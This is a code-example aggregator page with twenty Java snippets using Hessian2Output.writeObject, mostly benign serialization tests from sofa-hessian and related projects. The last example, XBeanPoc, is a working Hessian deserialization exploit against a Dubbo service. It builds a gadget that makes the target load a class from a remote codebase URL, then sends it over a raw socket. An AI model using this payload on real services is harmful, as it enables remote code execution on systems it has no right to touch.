Java Code Examples for com.caucho.hessian.io.Hessian2Output#writeObject()
The following examples show how to use
com.caucho.hessian.io.Hessian2Output#writeObject() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: LongArrayTest.java From sofa-hessian with Apache License 2.0 | 6 votes |
@Test public void oneArray() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output h2out = new Hessian2Output(bout); Map map = new HashMap(); map.put("1", new long[] { 1L, 2L }); h2out.writeObject(map); h2out.flush(); byte[] body = bout.toByteArray(); ByteArrayInputStream input = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(input); Map copy = (Map) hin.readObject(); long[] a1 = (long[]) map.get("1"); long[] a2 = (long[]) copy.get("1"); assertEquals(a1.length, a2.length); for (int i = 0; i < a1.length; ++i) assertEquals(a1[i], a2[i]); }
Example 2
Source File: ExceptionConstructorTest.java From sofa-hessian with Apache License 2.0 | 6 votes |
@Test public void npe() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output h2out = new Hessian2Output(bout); h2out.writeObject(new A(new Object())); h2out.flush(); byte[] body = bout.toByteArray(); ByteArrayInputStream input = new ByteArrayInputStream(body, 0, body.length); Hessian2Input h2in = new Hessian2Input(input); Object copy = h2in.readObject(); assertTrue(copy instanceof A); }
Example 3
Source File: HessianExample.java From pragmatic-java-engineer with GNU General Public License v3.0 | 6 votes |
public static void main(String[] args) throws IOException { //序列化 ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(os); out.startMessage(); TestUser user = new TestUser(); out.writeObject(user); out.completeMessage(); out.flush(); byte[] bytes = os.toByteArray(); out.close(); os.close(); //反序列化 ByteArrayInputStream ins = new ByteArrayInputStream(bytes); Hessian2Input input = new Hessian2Input(ins); input.startMessage(); user = (TestUser) input.readObject(); input.completeMessage(); input.close(); ins.close(); }
Example 4
Source File: SpecialClassTest.java From sofa-hessian with Apache License 2.0 | 6 votes |
/** * 这个用例说明hessian写入的Iterator,反序列化时是ArrayList, 不兼容 * @throws Exception */ @Test public void testIterator() throws Exception { List<Integer> list = new ArrayList<Integer>(); list.add(1); list.add(2); Iterator<Integer> iterable = list.iterator(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(iterable); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); Object o = hin.readObject(); assertEquals(ArrayList.class, o.getClass()); }
Example 5
Source File: SingleClassLoaderSofaSerializerFactoryTest.java From sofa-rpc with Apache License 2.0 | 6 votes |
@Test public void testAll() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output h2out = new Hessian2Output(bout); h2out.setSerializerFactory(factory); Map map = new HashMap(); map.put("1", new long[] { 1L, 2L }); h2out.writeObject(map); h2out.flush(); byte[] body = bout.toByteArray(); ByteArrayInputStream input = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(input); Map copy = (Map) hin.readObject(); long[] a1 = (long[]) map.get("1"); long[] a2 = (long[]) copy.get("1"); assertEquals(a1.length, a2.length); for (int i = 0; i < a1.length; ++i) assertEquals(a1[i], a2[i]); }
Example 6
Source File: CollectionTest.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void testCollection() throws Exception { TestList testList = new TestList(); testList.add(1); testList.add(new SimplePerson("wang", "coder")); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(testList); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object o = hin.readObject(); assertTrue(o.getClass() == GenericCollection.class); GenericCollection genericCollection = (GenericCollection) o; assertEquals(genericCollection.getType(), TestList.class.getName()); assertEquals(genericCollection.getCollection().size(), 2); assertEquals(((ArrayList) genericCollection.getCollection()).get(0), 1); assertEquals(((ArrayList) genericCollection.getCollection()).get(1).getClass(), GenericObject.class); GenericObject genericObject = (GenericObject) ((ArrayList) genericCollection .getCollection()).get(1); assertEquals(genericObject.getType(), SimplePerson.class.getName()); assertEquals(genericObject.getField("name"), "wang"); assertEquals(genericObject.getField("job"), "coder"); }
Example 7
Source File: ComplexTestO2GO.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void testList() throws IOException { List list = (List) dg.generateListPerson_1(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(list); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); List dlist = (List) hin.readObject(); assertEquals(dlist.size(), list.size()); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) dlist.get(0), (Person) list.get(0)); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) dlist.get(1), (Person) list.get(1)); List dlist2 = (List) dlist.get(2); List list2 = (List) list.get(2); assertEquals(dlist2.size(), list2.size()); ComplexTestGO2GO .cmpGPersonEqualPerson((GenericObject) dlist2.get(0), (Person) list2.get(0)); ComplexTestGO2GO .cmpGPersonEqualPerson((GenericObject) dlist2.get(1), (Person) list2.get(1)); ComplexTestGO2GO .cmpGPersonEqualPerson((GenericObject) dlist2.get(2), (Person) list2.get(2)); assertSame(dlist2.get(0), dlist2.get(2)); }
Example 8
Source File: LongArrayTest.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void threeArray() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output h2out = new Hessian2Output(bout); Map map = new HashMap(); map.put("1", new long[] { 1L, 2L }); map.put("2", new long[] { 3L, 4L, 5L }); map.put("3", new long[] { 3L, 4L, 5L, 6L }); h2out.writeObject(map); h2out.flush(); byte[] body = bout.toByteArray(); ByteArrayInputStream input = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(input); Map copy = (Map) hin.readObject(); long[] a1 = (long[]) map.get("1"); long[] a2 = (long[]) copy.get("1"); assertEquals(a1.length, a2.length); for (int i = 0; i < a1.length; ++i) assertEquals(a1[i], a2[i]); a1 = (long[]) map.get("2"); a2 = (long[]) copy.get("2"); assertEquals(a1.length, a2.length); for (int i = 0; i < a1.length; ++i) assertEquals(a1[i], a2[i]); a1 = (long[]) map.get("3"); a2 = (long[]) copy.get("3"); assertEquals(a1.length, a2.length); for (int i = 0; i < a1.length; ++i) assertEquals(a1[i], a2[i]); }
Example 9
Source File: SimpleTesGO2GO.java From sofa-hessian with Apache License 2.0 | 5 votes |
@org.junit.Test public void testString() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(dg.generateString_0()); hout.writeObject(dg.generateString_null()); hout.writeObject(dg.generateString_1()); hout.writeObject(dg.generateString_31()); hout.writeObject(dg.generateString_32()); hout.writeObject(dg.generateString_1023()); hout.writeObject(dg.generateString_1024()); hout.writeObject(dg.generateString_65536()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); assertEquals(dg.generateString_0(), hin.readObject()); assertEquals(dg.generateString_null(), hin.readObject()); assertEquals(dg.generateString_1(), hin.readObject()); assertEquals(dg.generateString_31(), hin.readObject()); assertEquals(dg.generateString_32(), hin.readObject()); assertEquals(dg.generateString_1023(), hin.readObject()); assertEquals(dg.generateString_1024(), hin.readObject()); assertEquals(dg.generateString_65536(), hin.readObject()); hin.close(); }
Example 10
Source File: HessianSerializer.java From sofa-bolt with Apache License 2.0 | 5 votes |
/** * @see com.alipay.remoting.serialization.Serializer#serialize(java.lang.Object) */ @Override public byte[] serialize(Object obj) throws CodecException { ByteArrayOutputStream byteArray = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(byteArray); output.setSerializerFactory(serializerFactory); try { output.writeObject(obj); output.close(); } catch (IOException e) { throw new CodecException("IOException occurred when Hessian serializer encode!", e); } return byteArray.toByteArray(); }
Example 11
Source File: SimpleTestO2GO.java From sofa-hessian with Apache License 2.0 | 5 votes |
@org.junit.Test public void testString() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(dg.generateString_0()); hout.writeObject(dg.generateString_null()); hout.writeObject(dg.generateString_1()); hout.writeObject(dg.generateString_31()); hout.writeObject(dg.generateString_32()); hout.writeObject(dg.generateString_1023()); hout.writeObject(dg.generateString_1024()); hout.writeObject(dg.generateString_65536()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); assertEquals(dg.generateString_0(), hin.readObject()); assertEquals(dg.generateString_null(), hin.readObject()); assertEquals(dg.generateString_1(), hin.readObject()); assertEquals(dg.generateString_31(), hin.readObject()); assertEquals(dg.generateString_32(), hin.readObject()); assertEquals(dg.generateString_1023(), hin.readObject()); assertEquals(dg.generateString_1024(), hin.readObject()); assertEquals(dg.generateString_65536(), hin.readObject()); hin.close(); }
Example 12
Source File: SimpleTestO2GO.java From sofa-hessian with Apache License 2.0 | 5 votes |
@org.junit.Test public void testBinary() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(dg.generateBinary_0()); hout.writeObject(dg.generateBinary_null()); hout.writeObject(dg.generateBinary_1()); hout.writeObject(dg.generateBinary_15()); hout.writeObject(dg.generateBinary_16()); hout.writeObject(dg.generateBinary_1023()); hout.writeObject(dg.generateBinary_1024()); hout.writeObject(dg.generateBinary_65536()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); assertTrue(compareByteArray(dg.generateBinary_0(), hin.readObject())); assertNull(hin.readObject()); assertTrue(compareByteArray(dg.generateBinary_1(), hin.readObject())); assertTrue(compareByteArray(dg.generateBinary_15(), hin.readObject())); assertTrue(compareByteArray(dg.generateBinary_16(), hin.readObject())); assertTrue(compareByteArray(dg.generateBinary_1023(), hin.readObject())); assertTrue(compareByteArray(dg.generateBinary_1024(), hin.readObject())); assertTrue(compareByteArray(dg.generateBinary_65536(), hin.readObject())); hin.close(); }
Example 13
Source File: CollectionTest.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void testComplexBean() throws Exception { GenericObject genericObject = new GenericObject(SimplePerson.class.getName()); genericObject.putField("name", "zhao"); genericObject.putField("job", "coder"); ComplexBean complexBean = new ComplexBean(new SimplePerson("zhao", "coder"), new SimplePerson("wang", "coder"), new String[] { "11111" }, new String[] { "22222" }, new TestList(), new TestList(), new int[] { 1, 2 }, new Integer[] { 1, 2 }, genericObject); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(complexBean); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object o = hin.readObject(); assertGenericComplexBean(o); GenericObject result = (GenericObject) o; // 检测GenericUtils工具正确性 ComplexBean cb = GenericUtils.convertToObject(result); assertEquals(complexBean, cb); GenericObject g = GenericUtils.convertToGenericObject(complexBean); assertGenericComplexBean(g); }
Example 14
Source File: ComplexTestGO2GO.java From sofa-hessian with Apache License 2.0 | 5 votes |
public void testArray() throws IOException { Object go = dg.generateArrayGenericPerson_1(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(go); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); Object[] darr = (Object[]) hin.readObject(); Object[] arr = (Object[]) dg.generateArrayPerson_1(); assertEquals(darr.length, arr.length); cmpGPersonEqualPerson((GenericObject) darr[0], (Person) arr[0]); cmpGPersonEqualPerson((GenericObject) darr[1], (Person) arr[1]); Object[] darr2 = (Object[]) darr[2]; Object[] arr2 = (Object[]) arr[2]; assertEquals(darr2.length, arr2.length); cmpGPersonEqualPerson((GenericObject) darr2[0], (Person) arr2[0]); cmpGPersonEqualPerson((GenericObject) darr2[1], (Person) arr2[1]); cmpGPersonEqualPerson((GenericObject) darr2[2], (Person) arr2[2]); assertSame(darr2[0], darr2[2]); }
Example 15
Source File: SimpleTestO2GO.java From sofa-hessian with Apache License 2.0 | 4 votes |
@org.junit.Test public void testDoubles() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(dg.generateDouble_0_0()); hout.writeObject(dg.generateDouble_1_0()); hout.writeObject(dg.generateDouble_2_0()); hout.writeObject(dg.generateDouble_127_0()); hout.writeObject(dg.generateDouble_m128_0()); hout.writeObject(dg.generateDouble_128_0()); hout.writeObject(dg.generateDouble_m129_0()); hout.writeObject(dg.generateDouble_32767_0()); hout.writeObject(dg.generateDouble_m32768_0()); hout.writeObject(dg.generateDouble_0_001()); hout.writeObject(dg.generateDouble_m0_001()); hout.writeObject(dg.generateDouble_65_536()); hout.writeObject(dg.generateDouble_3_14159()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); assertEquals(dg.generateDouble_0_0(), hin.readObject()); assertEquals(dg.generateDouble_1_0(), hin.readObject()); assertEquals(dg.generateDouble_2_0(), hin.readObject()); assertEquals(dg.generateDouble_127_0(), hin.readObject()); assertEquals(dg.generateDouble_m128_0(), hin.readObject()); assertEquals(dg.generateDouble_128_0(), hin.readObject()); assertEquals(dg.generateDouble_m129_0(), hin.readObject()); assertEquals(dg.generateDouble_32767_0(), hin.readObject()); assertEquals(dg.generateDouble_m32768_0(), hin.readObject()); assertEquals(dg.generateDouble_0_001(), hin.readObject()); assertEquals(dg.generateDouble_m0_001(), hin.readObject()); assertEquals(dg.generateDouble_65_536(), hin.readObject()); assertEquals(dg.generateDouble_3_14159(), hin.readObject()); hin.close(); }
Example 16
Source File: SimpleTestO2GO.java From sofa-hessian with Apache License 2.0 | 4 votes |
@org.junit.Test public void testIntegers() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); //single byte hout.writeObject(dg.generateInt_0()); hout.writeObject(dg.generateInt_1()); hout.writeObject(dg.generateInt_47()); hout.writeObject(dg.generateInt_m16()); //two bytes hout.writeObject(dg.generateInt_0x30()); hout.writeObject(dg.generateInt_0x7ff()); hout.writeObject(dg.generateInt_m17()); hout.writeObject(dg.generateInt_m0x800()); //three bytes hout.writeObject(dg.generateInt_0x800()); hout.writeObject(dg.generateInt_0x3ffff()); hout.writeObject(dg.generateInt_m0x801()); hout.writeObject(dg.generateInt_m0x40000()); //five bytes hout.writeObject(dg.generateInt_0x40000()); hout.writeObject(dg.generateInt_0x7fffffff()); hout.writeObject(dg.generateInt_m0x40001()); hout.writeObject(dg.generateInt_m0x80000000()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); //single byte assertEquals(dg.generateInt_0(), hin.readObject()); assertEquals(dg.generateInt_1(), hin.readObject()); assertEquals(dg.generateInt_47(), hin.readObject()); assertEquals(dg.generateInt_m16(), hin.readObject()); //two bytes assertEquals(dg.generateInt_0x30(), hin.readObject()); assertEquals(dg.generateInt_0x7ff(), hin.readObject()); assertEquals(dg.generateInt_m17(), hin.readObject()); assertEquals(dg.generateInt_m0x800(), hin.readObject()); //three bytes assertEquals(dg.generateInt_0x800(), hin.readObject()); assertEquals(dg.generateInt_0x3ffff(), hin.readObject()); assertEquals(dg.generateInt_m0x801(), hin.readObject()); assertEquals(dg.generateInt_m0x40000(), hin.readObject()); //five bytes assertEquals(dg.generateInt_0x40000(), hin.readObject()); assertEquals(dg.generateInt_0x7fffffff(), hin.readObject()); assertEquals(dg.generateInt_m0x40001(), hin.readObject()); assertEquals(dg.generateInt_m0x80000000(), hin.readObject()); hin.close(); }
Example 17
Source File: SimpleTestGO2O.java From sofa-hessian with Apache License 2.0 | 4 votes |
@org.junit.Test public void testDoubles() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(dg.generateDouble_0_0()); hout.writeObject(dg.generateDouble_1_0()); hout.writeObject(dg.generateDouble_2_0()); hout.writeObject(dg.generateDouble_127_0()); hout.writeObject(dg.generateDouble_m128_0()); hout.writeObject(dg.generateDouble_128_0()); hout.writeObject(dg.generateDouble_m129_0()); hout.writeObject(dg.generateDouble_32767_0()); hout.writeObject(dg.generateDouble_m32768_0()); hout.writeObject(dg.generateDouble_0_001()); hout.writeObject(dg.generateDouble_m0_001()); hout.writeObject(dg.generateDouble_65_536()); hout.writeObject(dg.generateDouble_3_14159()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); assertEquals(dg.generateDouble_0_0(), hin.readObject()); assertEquals(dg.generateDouble_1_0(), hin.readObject()); assertEquals(dg.generateDouble_2_0(), hin.readObject()); assertEquals(dg.generateDouble_127_0(), hin.readObject()); assertEquals(dg.generateDouble_m128_0(), hin.readObject()); assertEquals(dg.generateDouble_128_0(), hin.readObject()); assertEquals(dg.generateDouble_m129_0(), hin.readObject()); assertEquals(dg.generateDouble_32767_0(), hin.readObject()); assertEquals(dg.generateDouble_m32768_0(), hin.readObject()); assertEquals(dg.generateDouble_0_001(), hin.readObject()); assertEquals(dg.generateDouble_m0_001(), hin.readObject()); assertEquals(dg.generateDouble_65_536(), hin.readObject()); assertEquals(dg.generateDouble_3_14159(), hin.readObject()); hin.close(); }
Example 18
Source File: SimpleTestGO2O.java From sofa-hessian with Apache License 2.0 | 4 votes |
@org.junit.Test public void testLong() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); //single byte hout.writeObject(dg.generateLong_0()); hout.writeObject(dg.generateLong_1()); hout.writeObject(dg.generateLong_15()); hout.writeObject(dg.generateLong_m8()); //two bytes hout.writeObject(dg.generateLong_0x10()); hout.writeObject(dg.generateLong_0x7ff()); hout.writeObject(dg.generateLong_m9()); hout.writeObject(dg.generateLong_m0x800()); //three bytes hout.writeObject(dg.generateLong_0x800()); hout.writeObject(dg.generateLong_0x3ffff()); hout.writeObject(dg.generateLong_m0x801()); hout.writeObject(dg.generateLong_m0x40000()); //five bytes hout.writeObject(dg.generateLong_0x40000()); hout.writeObject(dg.generateLong_0x7fffffff()); hout.writeObject(dg.generateLong_m0x40001()); hout.writeObject(dg.generateLong_m0x80000000()); hout.writeObject(dg.generateLong_0x80000000()); hout.writeObject(dg.generateLong_m0x80000001()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); //single byte assertEquals(dg.generateLong_0(), hin.readObject()); assertEquals(dg.generateLong_1(), hin.readObject()); assertEquals(dg.generateLong_15(), hin.readObject()); assertEquals(dg.generateLong_m8(), hin.readObject()); //two bytes assertEquals(dg.generateLong_0x10(), hin.readObject()); assertEquals(dg.generateLong_0x7ff(), hin.readObject()); assertEquals(dg.generateLong_m9(), hin.readObject()); assertEquals(dg.generateLong_m0x800(), hin.readObject()); //three bytes assertEquals(dg.generateLong_0x800(), hin.readObject()); assertEquals(dg.generateLong_0x3ffff(), hin.readObject()); assertEquals(dg.generateLong_m0x801(), hin.readObject()); assertEquals(dg.generateLong_m0x40000(), hin.readObject()); //five bytes assertEquals(dg.generateLong_0x40000(), hin.readObject()); assertEquals(dg.generateLong_0x7fffffff(), hin.readObject()); assertEquals(dg.generateLong_m0x40001(), hin.readObject()); assertEquals(dg.generateLong_m0x80000000(), hin.readObject()); assertEquals(dg.generateLong_0x80000000(), hin.readObject()); assertEquals(dg.generateLong_m0x80000001(), hin.readObject()); hin.close(); }
Example 19
Source File: ComplexTestO2GO.java From sofa-hessian with Apache License 2.0 | 4 votes |
public void testMix() throws IOException { Object obj = dg.generateMixObject(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(obj); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object[][] darr = (Object[][]) hin.readObject(); Object[][] arr = (Object[][]) obj; assertEquals(darr.length, 3); assertEquals(darr[0].length, 3); assertSame(darr, darr[2][0]); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) darr[2][1], (Person) arr[2][1]); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) darr[2][2], (Person) arr[2][2]); Object[] darr1 = (Object[]) darr[1][0]; Map dmap1 = (Map) darr[1][1]; List dlist1 = (List) darr[1][2]; Object[] darr2 = (Object[]) darr1[2]; assertSame(darr2[2], dmap1); Map dmap2 = (Map) dmap1.get(3); assertSame(dmap2.get("www"), dlist1); List dlist2 = (List) dlist1.get(2); assertSame(dlist2.get(2), darr1); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) darr1[0], (Person) ((Object[]) arr[1][0])[0]); assertSame(darr1[0], darr2[0]); assertSame(darr1[0], dmap1.get(1)); assertSame(darr1[0], dmap2.get("lll")); assertSame(darr1[0], dlist1.get(0)); assertSame(darr1[0], dlist2.get(0)); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) darr1[1], (Person) ((Object[]) arr[1][0])[1]); assertSame(darr1[1], darr2[1]); assertSame(darr1[1], dmap1.get(2)); assertSame(darr1[1], dmap2.get("qqq")); assertSame(darr1[1], dlist1.get(1)); assertSame(darr1[1], dlist2.get(1)); //System.out.println(darr1[1]); }
Example 20
Source File: XBeanPoc.java From learnjavabug with MIT License | 4 votes |
public static void main(String[] args) throws Exception { Context ctx = Reflections.createWithoutConstructor(WritableContext.class); Reference ref = new Reference("Calc", "Calc","http://127.0.0.1:8080/"); ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx); Object s = ToStringUtil.makeToStringTrigger(binding); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // header. byte[] header = new byte[16]; // set magic number. Bytes.short2bytes((short) 0xdabb, header); // set request and serialization flag. header[2] = (byte) ((byte) 0x80 | 2); // set request id. Bytes.long2bytes(new Random().nextInt(100000000), header, 4); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream); NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); out.setSerializerFactory(sf); //todo 经测试,以下4个随意填 //注册中心获取到的service全限定名、版本号、方法名 out.writeString("2.0.2"); out.writeString("com.threedr3am.learn.server.boot.DemoXXXXXXXXService"); out.writeString("1.0"); out.writeString("hello"); //todo 方法描述不需要修改,因为此处需要指定map的payload去触发 out.writeString("Ljava/util/Map;"); out.writeObject(s); out.writeObject(new HashMap()); out.close(); Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte[] bytes = byteArrayOutputStream.toByteArray(); //todo 此处填写被攻击的dubbo服务提供者地址和端口 Socket socket = new Socket("127.0.0.1", 20880); OutputStream outputStream = socket.getOutputStream(); outputStream.write(bytes); outputStream.flush(); outputStream.close(); }